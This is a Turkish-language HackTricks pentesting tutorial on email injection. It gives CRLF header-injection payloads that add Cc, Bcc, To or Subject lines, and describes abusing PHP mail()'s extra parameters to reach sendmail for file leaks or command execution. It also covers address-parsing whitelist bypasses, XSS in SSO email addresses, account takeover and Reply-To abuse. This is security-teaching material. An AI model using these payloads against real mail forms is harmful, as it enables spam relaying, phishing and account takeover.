hacktricks/pentesting-web/email-injections.md

170 lines
9.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# E-posta Enjeksiyonları
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Gönderilen e-postaya enjekte edin
### Gönderen argümanından sonra Cc ve Bcc enjekte edin
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
### Enjeksiyon argümanı
Mesaj alıcı ve alıcı1 hesaplarına gönderilecektir.
```
From:sender@domain.com%0ATo:attacker@domain.com
```
### Konu argümanı enjekte edilir
Mesaj orijinal alıcıya ve saldırgan hesaba gönderilecektir.
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Mesajın gövdesini değiştirin
İki satır boşluk ekleyin, ardından mesajınızı yazın ve mesajın gövdesini değiştirin.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() fonksiyonu istismarı
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### 5. Parametre ($additional\_parameters)
Bu bölüm, **saldırganın kontrol ettiği varsayılan bu parametreyi nasıl kötüye kullanabileceğine** odaklanacaktır.
Bu parametre, PHP'nin, **ek parametrelerin sendmail için kullanılacağı komut satırına eklenecektir**. Bununla birlikte, bu parametre, `escapeshellcmd($additional_parameters)` işlevi ile temizlenecektir.
Bir saldırgan bu durumda **sendmail için ek parametreler enjekte edebilir**.
#### /usr/sbin/sendmail uygulamasındaki farklılıklar
**sendmail** arayüzü, sistemde yüklü olan MTA e-posta yazılımı (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. Temel işlevsellik (-t -i -f parametreleri gibi) uyumluluk nedeniyle **aynı kalırken**, **diğer işlevler ve parametreler** yüklü MTA'ya bağlı olarak büyük ölçüde değişmektedir.
İşte sendmail komutu/arayüzünün farklı man sayfalarına örnekler:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**Sendmail'in kökenine** bağlı olarak, bunları kötüye kullanmak ve **dosyaları sızdırmak veya hatta keyfi komutlar yürütmek** için farklı seçenekler keşfedilmiştir. Nasıl yapıldığını kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## E-posta adına enjekte et
### E-postanın ihmal edilen kısımları
**+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından **ihmal edilir**.
* Örn. john.doe+intigriti@example.com → john.doe@example.com
Parantezler arasındaki yorumlar () hem başta hem de sonda **ihmal edilecektir**.
* Örn. john.doe(intigriti)@example.com → john.doe@example.com
### Beyaz liste atlatma
<figure><img src="../.gitbook/assets/image (809).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Alıntılar
<figure><img src="../.gitbook/assets/image (623).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP'ler
Kare parantezler arasında alan adı olarak IP'leri de kullanabilirsiniz:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Diğer zafiyetler
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1128).png>)
## Üçüncü Taraf SSO
### XSS
**Github** veya **salesforce** gibi bazı hizmetler, **XSS yükleri içeren bir e-posta adresi oluşturmanıza izin verir**. Bu sağlayıcıları **başka hizmetlere giriş yapmak için kullanabilir** ve bu hizmetler **e-postayı doğru bir şekilde temizlemiyorsa**, **XSS** oluşturabilirsiniz.
### Hesap Ele Geçirme
Bir **SSO hizmeti**, verilen e-posta adresini doğrulamadan bir hesap oluşturmanıza izin veriyorsa (örneğin **salesforce**) ve daha sonra bu hesabı **salesforce'a güvenen başka bir hizmete giriş yapmak için kullanabilirseniz**, herhangi bir hesaba erişebilirsiniz.\
_Salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir ancak uygulama bu bilgiyi dikkate almalıdır._
## Yanıt Adresi
_E-posta gönderirken_ _**Kimden: sirket.com**_ _ve_ _**Yanıtla: saldırgan.com**_ _kullanarak bir e-posta gönderebilir ve eğer e-posta, iç adresinden gönderildiği için otomatik bir yanıt gönderilirse_, **saldırgan** o **yanıtı alabilir**.
## Sert Geri Dönüş Oranı
AWS gibi belirli hizmetler, genellikle %10 olarak belirlenen bir eşik olan **Sert Geri Dönüş Oranı**nı uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi bir hizmet, e-posta gönderme yeteneklerinizi askıya alabilir veya engelleyebilir.
**Sert geri dönüş**, alıcının adresinin geçersiz veya mevcut olmaması nedeniyle gönderene geri döndürülen bir e-postayı ifade eder. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcının sunucusunun e-postaları kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir.
AWS bağlamında, 1000 e-posta gönderirseniz ve bunlardan 100'ü sert geri dönüşlerle sonuçlanırsa (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10'luk bir sert geri dönüş oranı anlamına gelir. Bu oranı aşmak, AWS SES (Basit E-posta Hizmeti) hizmetini e-posta gönderme yeteneklerinizi engellemek veya askıya almak için tetikleyebilir.
Kesintisiz e-posta hizmetini sağlamak ve gönderen itibarını korumak için düşük bir sert geri dönüş oranını korumak son derece önemlidir. Posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir.
Daha detaylı bilgi için, AWS'nin sert geri dönüşler ve şikayetlerle başa çıkma konusundaki resmi belgelerine başvurulabilir [AWS SES Geri Dönüş İşleme](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Referanslar
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}